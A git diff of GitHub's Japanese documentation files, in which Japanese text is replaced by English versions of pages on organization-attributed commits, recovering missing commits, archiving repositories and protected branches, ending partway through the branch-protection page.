b/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md index 3ea05ca926..a7082678b8 100644 --- a/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md +++ b/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md @@ -1,6 +1,6 @@ --- -title: Organization の代理でコミットを作成する -intro: 'コミットのメッセージにトレーラーを追加することで、Organization の代理でコミットを作成できます。 Organization に属するコミットには、{% data variables.product.product_name %} で `on-behalf-of` というバッジが付きます。' +title: Creating a commit on behalf of an organization +intro: 'You can create commits on behalf of an organization by adding a trailer to the commit''s message. Commits attributed to an organization include an `on-behalf-of` badge on {% data variables.product.product_name %}.' redirect_from: - /articles/creating-a-commit-on-behalf-of-an-organization - /github/committing-changes-to-your-project/creating-a-commit-on-behalf-of-an-organization @@ -10,27 +10,26 @@ versions: ghec: '*' shortTitle: On behalf of an organization --- - {% note %} -**メモ:** Organization の代理でコミットを作成する機能は、現在パブリックベータであり、変更されることがあります。 +**Note:** The ability to create a commit on behalf of an organization is currently in public beta and is subject to change. {% endnote %} -Organization の代理でコミットを作成するには、以下の条件を満たす必要があります: +To create commits on behalf of an organization: -- トレーラーで示される Organization のメンバーであること -- あなたがコミットに署名すること -- コミットメールおよび Organization メールが、Organization で検証済みのドメインであること -- コミットメッセージが、`on-behalf-of: @org ` というコミットトレーラーで終わること - - `org` は Organization のログイン名 - - `name@organization.com` は Organization のドメイン内 +- you must be a member of the organization indicated in the trailer +- you must sign the commit +- your commit email and the organization email must be in a domain verified by the organization +- your commit message must end with the commit trailer `on-behalf-of: @org ` + - `org` is the organization's login + - `name@organization.com` is in the organization's domain -Organization は、オープンソースの取り組みにおいて、`name@organization.com` のメールアドレスを公開連絡先として使うことができます。 +Organizations can use the `name@organization.com` email as a public point of contact for open source efforts. -## コマンドラインで `on-behalf-of` バッジを付けてコミットを作成する +## Creating commits with an `on-behalf-of` badge on the command line -1. コミットメッセージと、変更の短く分かりやすい説明を入力してください。 コミットの説明の後に、閉じる引用符の代わりに 2 つの空の行を追加してください。 +1. Type your commit message and a short, meaningful description of your changes. After your commit description, instead of a closing quotation, add two empty lines. ```shell $ git commit -m "Refactor usability tests. > @@ -38,11 +37,11 @@ Organization は、オープンソースの取り組みにおいて、`name@orga ``` {% tip %} - **参考:** コミットメッセージの入力にコマンドライン上のテキストエディタを使っている場合、コミットの説明とコミットトレーラーの`on-behalf-of:`との間に新しい改行が 2 つあることを確認してください。 + **Tip:** If you're using a text editor on the command line to type your commit message, ensure there are two newlines between the end of your commit description and the `on-behalf-of:` commit trailer. {% endtip %} -2. コミットメッセージの次の行に、`on-behalf-of: @org ` と入力して、引用符で閉じます。 +2. On the next line of the commit message, type `on-behalf-of: @org `, then a closing quotation mark. ```shell $ git commit -m "Refactor usability tests. @@ -51,24 +50,25 @@ Organization は、オープンソースの取り組みにおいて、`name@orga on-behalf-of: @org <name@organization.com>" ``` -次回のプッシュ時に、{% data variables.product.product_location %} に新たなコミット、メッセージ、およびバッジが表示されます。 詳細は「[リモートリポジトリに変更をプッシュする](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)」を参照してください。 +The new commit, message, and badge will appear on {% data variables.product.product_location %} the next time you push. For more information, see "[Pushing changes to a remote repository](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)." -## {% data variables.product.product_name %} で `on-behalf-of` バッジを付けてコミットを作成する +## Creating commits with an `on-behalf-of` badge on {% data variables.product.product_name %} -{% data variables.product.product_name %} のウェブエディタでファイルを変更してから、コミットのメッセージに `on-behalf-of:` トレーラーを追加することで、Organization の代理でコミットを作成できます。 +After you've made changes in a file using the web editor on {% data variables.product.product_name %}, you can create a commit on behalf of your organization by adding an `on-behalf-of:` trailer to the commit's message. -1. 変更を行った後は、ページの下部に、変更について説明する、短くて意味のあるコミットメッセージを入力します。 ![変更のコミットメッセージ](/assets/images/help/repository/write-commit-message-quick-pull.png) +1. After making your changes, at the bottom of the page, type a short, meaningful commit message that describes the changes you made. + ![Commit message for your change](/assets/images/help/repository/write-commit-message-quick-pull.png) -2. コミットメッセージの下にあるテキストボックスに、`on-behalf-of: @org ` を追加します。 +2. In the text box below your commit message, add `on-behalf-of: @org `. - ![2 つ目のコミットメッセージテキストボックスにある、代理コミットメッセージのトレーラー例](/assets/images/help/repository/write-commit-message-on-behalf-of-trailer.png) -4. [**Commit changes**] または [**Propose changes**] をクリックします。 + ![Commit message on-behalf-of trailer example in second commit message text box](/assets/images/help/repository/write-commit-message-on-behalf-of-trailer.png) +4. Click **Commit changes** or **Propose changes**. -{% data variables.product.product_location %} に新たなコミット、メッセージ、およびバッジが表示されます。 +The new commit, message, and badge will appear on {% data variables.product.product_location %}. -## 参考リンク +## Further reading -- [プロフィール上でのコントリビューションの表示](/articles/viewing-contributions-on-your-profile) -- [プロフィール上でコントリビューションが表示されない理由](/articles/why-are-my-contributions-not-showing-up-on-my-profile) -- [プロジェクトのコントリビューターを表示する](/articles/viewing-a-projects-contributors) -- [コミットメッセージの変更](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message) +- "[Viewing contributions on your profile](/articles/viewing-contributions-on-your-profile)" +- "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)" +- "[Viewing a project’s contributors](/articles/viewing-a-projects-contributors)" +- "[Changing a commit message](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message)" diff --git a/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md b/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md index 00dfccb278..613caee543 100644 --- a/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md +++ b/translations/ja-JP/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md @@ -1,6 +1,6 @@ --- -title: コミットが GitHub にはありますが、ローカルにはありません -intro: '特定のコミットが、{% data variables.product.product_name %}上では見えるにもかかわらず、リポジトリのローカルクローンの中には存在しない、という場合があります。' +title: Commit exists on GitHub but not in my local clone +intro: 'Sometimes a commit will be viewable on {% data variables.product.product_name %}, but will not exist in your local clone of the repository.' redirect_from: - /articles/commit-exists-on-github-but-not-in-my-local-clone - /github/committing-changes-to-your-project/commit-exists-on-github-but-not-in-my-local-clone @@ -12,71 +12,81 @@ versions: ghec: '*' shortTitle: Commit missing in local clone --- +When you use `git show` to view a specific commit on the command line, you may get a fatal error. -特定のコミットを表示するため、コマンドラインで `git show` を使うと、致命的エラーが発生することがあります。 - -たとえば、以下のコマンドを入力して、ローカルで `bad object` のエラーが発生したとします。 +For example, you may receive a `bad object` error locally: ```shell $ git show 1095ff3d0153115e75b7bca2c09e5136845b5592 > fatal: bad object 1095ff3d0153115e75b7bca2c09e5136845b5592 ``` -しかし、以下のように {% data variables.product.product_location %}でコミットを表示すると、問題が発生しません。 +However, when you view the commit on {% data variables.product.product_location %}, you'll be able to see it without any problems: `github.com/$account/$repository/commit/1095ff3d0153115e75b7bca2c09e5136845b5592` -この場合、以下の原因が考えられます: +There are several possible explanations: -* ローカルのリポジトリが古い。 -* そのコミットが属するブランチが削除されたため、コミットが参照できなくなっている。 -* 誰かがコミットをフォースプッシュで上書きした。 +* The local repository is out of date. +* The branch that contains the commit was deleted, so the commit is no longer referenced. +* Someone force pushed over the commit. -## ローカルのリポジトリが古い +## The local repository is out of date -ローカルのリポジトリがまだコミットを取得していないことも考えられます。 リモートリポジトリからローカルクローンに情報を取得するには、以下のように `git fetch` を使用します: +Your local repository may not have the commit yet. To get information from your remote repository to your local clone, use `git fetch`: ```shell $ git fetch remote ``` -これにより、チェックアウトしたファイルに変更が加えられることなく、リモートリポジトリからローカルクローンに、情報が安全にコピーされます。 フォーク元のリポジトリから情報を取得するには、`git fetch upstream` を使用します。また、クローンのみを行ったリポジトリから情報を取得するには、`git fetch origin` を使用します。 +This safely copies information from the remote repository to your local clone without making any changes to the files you have checked out. +You can use `git fetch upstream` to get information from a repository you've forked, or `git fetch origin` to get information from a repository you've only cloned. {% tip %} -**参考**: 詳しい情報については、[Pro Git](https://git-scm.com/book) ブックの[リモートの管理とデータのフェッチ](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes)をお読みください。 +**Tip**: For more information, read about [managing remotes and fetching data](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes) in the [Pro Git](https://git-scm.com/book) book. {% endtip %} -## コミットのあるブランチが削除された +## The branch that contained the commit was deleted -リポジトリのコラボレーターが、そのコミットを持つブランチを削除した、あるいはブランチにフォースプッシュした場合、見つからないコミットは孤立している (つまり、どの参照からもたどり着けなくなっている) ため、ローカルクローンにフェッチできません。 +If a collaborator on the repository has deleted the branch containing the commit +or has force pushed over the branch, the missing commit may have been orphaned +(i.e. it cannot be reached from any reference) and therefore will not be fetched +into your local clone. -幸いコラボレーターの誰かが、見つからなくなったコミットを持つリポジトリのローカルクローンを持っている場合は、それを {% data variables.product.product_name %}にプッシュして戻してもらうことができます。 コミットがローカルブランチに参照されていることを必ず確認してから {% data variables.product.product_name %}に新しいブランチとしてプッシュするよう依頼してください。 +Fortunately, if any collaborator has a local clone of the repository with the +missing commit, they can push it back to {% data variables.product.product_name %}. They need to make sure the commit +is referenced by a local branch and then push it as a new branch to {% data variables.product.product_name %}. -たとえば、コラボレータの一人が、コミットを含むローカルブランチ (`B` とします) をまだ持っていたとします。 このローカルブランチは、フォースプッシュまたは削除されたブランチをトラッキングしていると考えられます。そして、まだ更新されていません。 コミットが失われないうちに、そのローカルブランチを {% data variables.product.product_name %} の新しいブランチ (`recover-B` とします) にプッシュしてもらいましょう。 ここでは仮に、`upstream` という名前のリモートがあり、これを通して `github.com/$account/$repository` にプッシュアクセスがあるとします。 +Let's say that the person still has a local branch (call it `B`) that contains +the commit. This might be tracking the branch that was force pushed or deleted +and they simply haven't updated yet. To preserve the commit, they can push that +local branch to a new branch (call it `recover-B`) on {% data variables.product.product_name %}. For this example, +let's assume they have a remote named `upstream` via which they have push access +to `github.com/$account/$repository`. -コミットを持つローカルブランチを持っている人が、以下のコマンドを実行します: +The other person runs: ```shell $ git branch recover-B B -# コミットを参照する新しいローカルブランチを作成 +# Create a new local branch referencing the commit $ git push upstream B:recover-B -# ローカル B を新しい上流ブランチにプッシュし、コミットへの新しい参照を作成 +# Push local B to new upstream branch, creating new reference to commit ``` -次に、*あなた*が以下のコマンドを実行します: +Now, *you* can run: ```shell $ git fetch upstream recover-B -# ローカルリポジトリへコミットをフェッチ。 +# Fetch commit into your local repository. ``` -## フォースプッシュは避けましょう +## Avoid force pushes -絶対に必要でない限り、フォースプッシュは避けましょう。 特に、リポジトリにプッシュできる人が 2 人以上いる場合は避けるべきです。 +Avoid force pushing to a repository unless absolutely necessary. This is especially true if more than one person can push to the repository. If someone force pushes to a repository, the force push may overwrite commits that other people based their work on. Force pushing changes the repository history and can corrupt pull requests. -## 参考リンク +## Further reading -- [_Pro Git_ ブックの「リモートでの作業」](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes) -- [_Pro Git_ ブックの「データリカバリ」](https://git-scm.com/book/en/Git-Internals-Maintenance-and-Data-Recovery) +- ["Working with Remotes" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes) +- ["Data Recovery" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Internals-Maintenance-and-Data-Recovery) diff --git a/translations/ja-JP/content/repositories/archiving-a-github-repository/archiving-repositories.md b/translations/ja-JP/content/repositories/archiving-a-github-repository/archiving-repositories.md index 91fe14c008..b8d5a45fc7 100644 --- a/translations/ja-JP/content/repositories/archiving-a-github-repository/archiving-repositories.md +++ b/translations/ja-JP/content/repositories/archiving-a-github-repository/archiving-repositories.md @@ -1,6 +1,6 @@ --- -title: リポジトリのアーカイブ -intro: リポジトリをアーカイブし、すべてのユーザに対してリードオンリーとし、アクティブにメンテナンスされなくなったことを示すことができます。 アーカイブされたリポジトリのアーカイブを解除することもできます。 +title: Archiving repositories +intro: You can archive a repository to make it read-only for all users and indicate that it's no longer actively maintained. You can also unarchive repositories that have been archived. redirect_from: - /articles/archiving-repositories - /github/creating-cloning-and-archiving-repositories/archiving-repositories @@ -22,26 +22,28 @@ topics: {% ifversion fpt or ghec %} {% note %} -**ノート：**過去のリポジトリ単位の支払いプランを利用している場合、アーカイブされたリポジトリについても支払いが続くことになります。 アーカイブされたリポジトリに対する支払いをしたくない場合には、新しい製品にアップグレードしなければなりません。 詳細は「[{% data variables.product.prodname_dotcom %} の製品](/articles/github-s-products)」を参照してください。 +**Note:** If you have a legacy per-repository billing plan, you will still be charged for your archived repository. If you don't want to be charged for an archived repository, you must upgrade to a new product. For more information, see "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)." {% endnote %} {% endif %} {% data reusables.repositories.archiving-repositories-recommendation %} -リポジトリがアーカイブされると、コラボレータや Team の追加や削除ができなくなります。 リポジトリへのアクセス権を持つコントリビューターは、プロジェクトをフォークするか Star を付けることだけができます。 +Once a repository is archived, you cannot add or remove collaborators or teams. Contributors with access to the repository can only fork or star your project. -リポジトリがアーカイブされると、その Issue、プルリクエスト、コード、ラベル、マイルストーン、プロジェクト、wiki、リリース、コミット、タグ、ブランチ、リアクション、コードスキャンアラート、およびコメントが読み取り専用になります。 アーカイブされたリポジトリに変更を加えるには、まずそのリポジトリのアーカイブ解除をしなければなりません。 +When a repository is archived, its issues, pull requests, code, labels, milestones, projects, wiki, releases, commits, tags, branches, reactions, code scanning alerts, comments and permissions become read-only. To make changes in an archived repository, you must unarchive the repository first. -アーカイブされたリポジトリに対して検索ができます。 詳しい情報については[リポジトリの検索](/search-github/searching-on-github/searching-for-repositories/#search-based-on-whether-a-repository-is-archived)を参照してください。 詳しい情報については[リポジトリの検索](/articles/searching-for-repositories/#search-based-on-whether-a-repository-is-archived)を参照してください。 詳しい情報については[Issueやプルリクエストの検索](/search-github/searching-on-github/searching-issues-and-pull-requests/#search-based-on-whether-a-repository-is-archived)を参照してください。 +You can search for archived repositories. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories/#search-based-on-whether-a-repository-is-archived)." You can also search for issues and pull requests within archived repositories. For more information, see "[Searching issues and pull requests](/search-github/searching-on-github/searching-issues-and-pull-requests/#search-based-on-whether-a-repository-is-archived)." -## リポジトリをアーカイブへ保管 +## Archiving a repository {% data reusables.repositories.archiving-repositories-recommendation %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} -3. "Danger Zone" の下で [** Archive this repository**] (このリポジトリをアーカイブ) または [** Unarchive this repository**] (このリポジトリをアーカイブ解除) をクリックします。 ![[Archive this repository] ボタン](/assets/images/help/repository/archive-repository.png) -4. 警告を読んでください。 -5. アーカイブあるいはアーカイブを解除したいリポジトリの名前を入力してください。 ![リポジトリのアーカイブの警告](/assets/images/help/repository/archive-repository-warnings.png) -6. [**I understand the consequences, archive this repository**] (結果を承知した上で、このリポジトリをアーカイブ) をクリックします。 +3. Under "Danger Zone", click **Archive this repository** or **Unarchive this repository**. + ![Archive this repository button](/assets/images/help/repository/archive-repository.png) +4. Read the warnings. +5. Type the name of the repository you want to archive or unarchive. + ![Archive repository warnings](/assets/images/help/repository/archive-repository-warnings.png) +6. Click **I understand the consequences, archive this repository**. diff --git a/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md b/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md index 3ffde417ed..c4be3a9f2a 100644 --- a/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md +++ b/translations/ja-JP/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md @@ -1,6 +1,6 @@ --- -title: 保護されたブランチについて -intro: 重要なブランチを保護するには、ブランチ保護ルールを設定します。このルールは、コラボレータがブランチへのプッシュを削除または強制できるかどうかを定義し、ステータスチェックのパスや直線状のコミット履歴など、ブランチへのプッシュの要件を設定します。 +title: About protected branches +intro: 'You can protect important branches by setting branch protection rules, which define whether collaborators can delete or force push to the branch and set requirements for any pushes to the branch, such as passing status checks or a linear commit history.' product: '{% data reusables.gated-features.protected-branches %}' redirect_from: - /articles/about-protected-branches @@ -25,118 +25,113 @@ versions: topics: - Repositories --- +## About branch protection rules -## ブランチ保護ルールについて +You can enforce certain workflows or requirements before a collaborator can push changes to a branch in your repository, including merging a pull request into the branch, by creating a branch protection rule. -ブランチ保護ルールを作成することにより、コラボレータがリポジトリ内のブランチに変更をプッシュする前に、特定のワークフローまたは要件を適用できます。これには、プルリクエストのブランチへのマージが含まれます。 +By default, each branch protection rule disables force pushes to the matching branches and prevents the matching branches from being deleted. You can optionally disable these restrictions and enable additional branch protection settings. -デフォルト設定では、各ブランチ保護ルールは、一致するブランチへのフォースプッシュを無効にし、一致するブランチが削除されないようにします。 必要に応じて、これらの制限を無効にし、追加のブランチ保護設定を有効にすることができます。 +By default, the restrictions of a branch protection rule don't apply to people with admin permissions to the repository. You can optionally choose to include administrators, too. -デフォルト設定では、ブランチ保護ルールの制限は、リポジトリへの管理者権限を持つユーザには適用されません。 必要に応じて、管理者を含めることもできます。 - -{% data reusables.repositories.branch-rules-example %} ブランチ名のパターンの詳細については、「[ブランチ保護ルールを管理する](/github/administering-a-repository/managing-a-branch-protection-rule)」を参照してください。 +{% data reusables.repositories.branch-rules-example %} For more information about branch name patterns, see "[Managing a branch protection rule](/github/administering-a-repository/managing-a-branch-protection-rule)." {% data reusables.pull_requests.you-can-auto-merge %} -## ブランチ保護設定について +## About branch protection settings -ブランチ保護ルールごとに、次の設定を有効にするか無効にするかを選択できます。 -- [マージ前に Pull Request レビュー必須](#require-pull-request-reviews-before-merging) -- [マージ前にステータスチェック必須](#require-status-checks-before-merging) -{% ifversion fpt or ghes > 3.1 or ghae-issue-4382 or ghec %} +For each branch protection rule, you can choose to enable or disable the following settings. +- [Require pull request reviews before merging](#require-pull-request-reviews-before-merging) +- [Require status checks before merging](#require-status-checks-before-merging) +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} - [Require conversation resolution before merging](#require-conversation-resolution-before-merging){% endif %} -- [署名済みコミットの必須化](#require-signed-commits) -- [直線状の履歴必須](#require-linear-history) +- [Require signed commits](#require-signed-commits) +- [Require linear history](#require-linear-history) {% ifversion fpt or ghec %} - [Require merge queue](#require-merge-queue) {% endif %} -- [管理者を含める](#include-administrators) -- [一致するブランチにプッシュできるユーザを制限](#restrict-who-can-push-to-matching-branches) -- [フォースプッシュを許可](#allow-force-pushes) -- [削除を許可](#allow-deletions) +- [Include administrators](#include-administrators) +- [Restrict who can push to matching branches](#restrict-who-can-push-to-matching-branches) +- [Allow force pushes](#allow-force-pushes) +- [Allow deletions](#allow-deletions) For more information on how to set up branch protection, see "[Managing a branch protection rule](/github/administering-a-repository/managing-a-branch-protection-rule)." -### マージ前に Pull Request レビュー必須 +### Require pull request reviews before merging {% data reusables.pull_requests.required-reviews-for-prs-summary %} -必須レビューを有効にした場合、コラボレータは、書き込み権限を持つ必要な人数のレビュー担当者により承認されたプルリクエストからしか、保護されたブランチに変更をプッシュできなくなります。 +If you enable required reviews, collaborators can only push changes to a protected branch via a pull request that is approved by the required number of reviewers with write permissions. -管理者権限を持つ人がレビューで [**Request changes**] を選択した場合、プルリクエストをマージするためには管理者権限を持つ人がそのプルリクエストを承認する必要があります。 プルリクエストへの変更をリクエストしたレビュー担当者の手が空いていない場合、そのリポジトリに書き込み権限を持つ人が、ブロックしているレビューを却下できます。 +If a person with admin permissions chooses the **Request changes** option in a review, then that person must approve the pull request before the pull request can be merged. If a reviewer who requests changes on a pull request isn't available, anyone with write permissions for the repository can dismiss the blocking review. {% data reusables.repositories.review-policy-overlapping-commits %} -コラボレータが保留中または拒否されたレビューのプルリクエストを保護されたブランチにマージしようとすると、コラボレータにエラーメッセージが届きます。 +If a collaborator attempts to merge a pull request with pending or rejected reviews into the protected branch, the collaborator will receive an error message. ```shell remote: error: GH006: Protected branch update failed for refs/heads/main. remote: error: Changes have been requested. ``` -必要に応じて、コミットがプッシュされた際に古いプルリクエストを却下できます。 コードを承認されたプルリクエストに変更するコミットがプッシュされた場合、その承認は却下され、プルリクエストはマージできません。 これは、ベースブランチをプルリクエストのブランチにマージするなど、コードを変更しないコミットをコラボレータがプッシュする場合には適用されません。 ベースブランチに関する詳しい情報については「[プルリクエストについて](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)」を参照してください。 +Optionally, you can choose to dismiss stale pull request approvals when commits are pushed. If anyone pushes a commit that modifies code to an approved pull request, the approval will be dismissed, and the pull request cannot be merged. This doesn't apply if the collaborator pushes commits that don't modify code, like merging the base branch into the pull request's branch. For information about the base branch, see "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)." -必要に応じて、プルリクエストレビューを却下する権限を、特定の人物またはチームに限定できます。 詳しい情報については[プルリクエストレビューの却下](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)を参照してください。 +Optionally, you can restrict the ability to dismiss pull request reviews to specific people or teams. For more information, see "[Dismissing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)." -必要に応じて、コードオーナー'からのレビューを必須にすることもできます。 この場合、コードオーナーのコードに影響するプルリクエストは、保護されたブランチにプルリクエストをマージする前に、そのコードオーナーから承認される必要があります。 +Optionally, you can choose to require reviews from code owners. If you do, any pull request that affects code with a code owner must be approved by that code owner before the pull request can be merged into the protected branch. -### マージ前にステータスチェック必須 +### Require status checks before merging -必須ステータスチェックにより、コラボレータが保護されたブランチに変更を加える前に、すべての必須 CI テストにパスしていることが保証されます。 詳細は「[保護されたブランチを設定する](/articles/configuring-protected-branches/)」および「[必須ステータスチェックを有効にする](/articles/enabling-required-status-checks)」を参照してください。 詳しい情報については、「[ステータスチェックについて](/github/collaborating-with-issues-and-pull-requests/about-status-checks)」を参照してください。 +Required status checks ensure that all required CI tests are passing before collaborators can make changes to a protected branch. Required status checks can be checks or statuses. For more information, see "[About status checks](/github/collaborating-with-issues-and-pull-requests/about-status-checks)." -ステータスチェック必須を有効にする前に、ステータス API を使用するようにリポジトリを設定する必要があります。 詳しい情報については、REST ドキュメントの「[リポジトリ](/rest/reference/repos#statuses)」を参照してください。 +Before you can enable required status checks, you must configure the repository to use the status API. For more information, see "[Repositories](/rest/reference/repos#statuses)" in the REST documentation. -ステータスチェック必須を有効にすると、すべてのステータスチェック必須がパスしないと、コラボレータは保護されたブランチにマージできません。 必須ステータスチェックをパスしたら、コミットを別のブランチにプッシュしてから、マージするか、保護されたブランチに直接プッシュする必要があります。 +After enabling required status checks, all required status checks must pass before collaborators can merge changes into the protected branch. After all required status checks pass, any commits must either be pushed to another branch and then merged or pushed directly to the protected branch. -{% note %} +Any person or integration with write permissions to a repository can set the state of any status check in the repository, but in some cases you may only want to accept a status check from a specific {% data variables.product.prodname_github_app %}. When you add a required status check, you can select an app that has recently set this check as the expected source of status updates. If the status is set by any other person or integration, merging won't be allowed. If you select "any source", you can still manually verify the author of each status, listed in the merge box. -**注釈:** リポジトリへの書き込み権限があるユーザまたはインテグレーションなら誰でも、リポジトリのステータスチェックを任意のステータスに設定できます。 {% data variables.product.company_short %} は、チェックの作者が、特定の名前でチェックを作成したり、既存のステータスを変更したりする権限を持っているかを確認しません。 プルリクエストをマージする前に、マージボックスにリストされている各ステータスの作者が想定された人物であることを確認する必要があります。 +You can set up required status checks to either be "loose" or "strict." The type of required status check you choose determines whether your branch is required to be up to date with the base branch before merging. -{% endnote %} +| Type of required status check | Setting | Merge requirements | Considerations | +| --- | --- | --- | --- | +| **Strict** | The **Require branches to be up to date before merging** checkbox is checked. | The branch **must** be up to date with the base branch before merging. | This is the default behavior for required status checks. More builds may be required, as you'll need to bring the head branch up to date after other collaborators merge pull requests to the protected base branch.| +| **Loose** | The **Require branches to be up to date before merging** checkbox is **not** checked. | The branch **does not** have to be up to date with the base branch before merging. | You'll have fewer required builds, as you won't need to bring the head branch up to date after other collaborators merge pull requests. Status checks may fail after you merge your branch if there are incompatible changes with the base branch. | +| **Disabled** | The **Require status checks to pass before merging** checkbox is **not** checked. | The branch has no merge restrictions. | If required status checks aren't enabled, collaborators can merge the branch at any time, regardless of whether it is up to date with the base branch. This increases the possibility of incompatible changes. -必須ステータスチェックのタイプは、\[loose\] (寛容)、\[strict\] (厳格) のいずれかに設定できます。 選択した必須ステータスチェックのタイプにより、マージする前にブランチをベースブランチとともに最新にする必要があるかどうかが決まります。 +For troubleshooting information, see "[Troubleshooting required status checks](/github/administering-a-repository/troubleshooting-required-status-checks)." -| 必須ステータスチェックのタイプ | 設定 | マージの要件 | 留意点 | -| --------------- | --------------------------------------------------------------------------- | ----------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------- | -| **Strict** | [**Require branches to be up to date before merging**] チェックボックスにチェックする | マージ前、ブランチは、base ブランチとの関係で**最新でなければならない**。 | これは、必須ステータスチェックのデフォルト動作です。 他のコラボレーターが、保護された base ブランチにプルリクエストをマージした後に、あなたは head ブランチをアップデートする必要が出てくる可能性があるため、追加のビルドが必要になるかもしれません。 | -| **Loose** | [**Require branches to be up to date before merging**] チェックボックスにチェック**しない** | マージ前、ブランチは base ブランチとの関係で**最新でなくてもよい**。 | 他のコラボレーターがプルリクエストをマージした後に head ブランチをアップデートする必要はないことから、必要となるビルドは少なくなります。 base ブランチと競合する変更がある場合、ブランチをマージした後のステータスチェックは失敗する可能性があります。 | -| **無効** | [**Require status checks to pass before merging**] チェックボックスにチェック**しない** | ブランチのマージについての制限はない | 必須ステータスチェックが有効化されていない場合、base ブランチにあわせてアップデートされているかどうかに関わらず、コラボレーターはいつでもブランチをマージできます。 このことで、変更の競合が発生する可能性が高まります。 | - -トラブルシューティング情報については、「[必須ステータスチェックのトラブルシューティング](/github/administering-a-repository/troubleshooting-required-status-checks)」を参照してください。 - -{% ifversion fpt or ghes > 3.1 or ghae-issue-4382 or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} ### Require conversation resolution before merging Requires all comments on the pull request to be resolved before it can be merged to a protected branch. This ensures that all comments are addressed or acknowledged before merge. {% endif %} -### 署名済みコミットの必須化 +### Require signed commits -ブランチで必須のコミット署名を有効にすると、コントリビュータ{% ifversion fpt or ghec %}とボット{% endif %}は、ブランチに署名および検証されたコミットのみをプッシュできます。 詳細については、「[コミット署名の検証について](/articles/about-commit-signature-verification)」を参照してください。 +When you enable required commit signing on a branch, contributors {% ifversion fpt or ghec %}and bots{% endif %} can only push commits that have been signed and verified to the branch. For more information, see "[About commit signature verification](/articles/about-commit-signature-verification)." {% note %} {% ifversion fpt or ghec %} -**ノート:** +**Notes:** * If you have enabled vigilant mode, which indicates that your commits will always be signed, any commits that {% data variables.product.prodname_dotcom %} identifies as "Partially verified" are permitted on branches that require signed commits. For more information about vigilant mode, see "[Displaying verification statuses for all of your commits](/github/authenticating-to-github/displaying-verification-statuses-for-all-of-your-commits)." * If a collaborator pushes an unsigned commit to a branch that requires commit signatures, the collaborator will need to rebase the commit to include a verified signature, then force push the rewritten commit to the branch. {% else %} -**注釈:** コラボレータが未署名のコミットをコミット署名必須のブランチにプッシュすると、コラボレータは検証済み署名を含めるためにコミットをリベースしてから、書き直したコミットをブランチにフォースプッシュする必要があります。 +**Note:** If a collaborator pushes an unsigned commit to a branch that requires commit signatures, the collaborator will need to rebase the commit to include a verified signature, then force push the rewritten commit to the branch. {% endif %} {% endnote %} -コミットが署名および検証されている場合は、いつでもローカルコミットをブランチにプッシュできます。 {% ifversion fpt or ghec %}{% data variables.product.product_name %}のプルリクエストを使用して、署名および検証されているコミットをブランチにマージすることもできます。 ただし、プルリクエストの作者でない限り、プルリクエストを squash して{% data variables.product.product_name %}のブランチにマージすることはできません。{% else %}ただし、プルリクエストを{% data variables.product.product_name %}のブランチにマージすることはできません。{% endif %}プルリクエストをローカルで{% ifversion fpt or ghec %} squash および{% endif %}マージできます。 詳しい情報については、「[プルリクエストをローカルでチェック アウトする](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally)」を参照してください。 +You can always push local commits to the branch if the commits are signed and verified. {% ifversion fpt or ghec %}You can also merge signed and verified commits into the branch using a pull request on {% data variables.product.product_name %}. However, you cannot squash and merge a pull request into the branch on {% data variables.product.product_name %} unless you are the author of the pull request.{% else %} However, you cannot merge pull requests into the branch on {% data variables.product.product_name %}.{% endif %} You can {% ifversion fpt or ghec %}squash and {% endif %}merge pull requests locally. For more information, see "[Checking out pull requests locally](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally)." -{% ifversion fpt or ghec %}マージ方法の詳しい情報については、「[{% data variables.product.prodname_dotcom %}上のマージ方法について](/github/administering-a-repository/about-merge-methods-on-github)」を参照してください。{% endif %} +{% ifversion fpt or ghec %} For more information about merge methods, see "[About merge methods on {% data variables.product.prodname_dotcom %}](/github/administering-a-repository/about-merge-methods-on-github)."{% endif %} -### 直線状の履歴必須 +### Require linear history 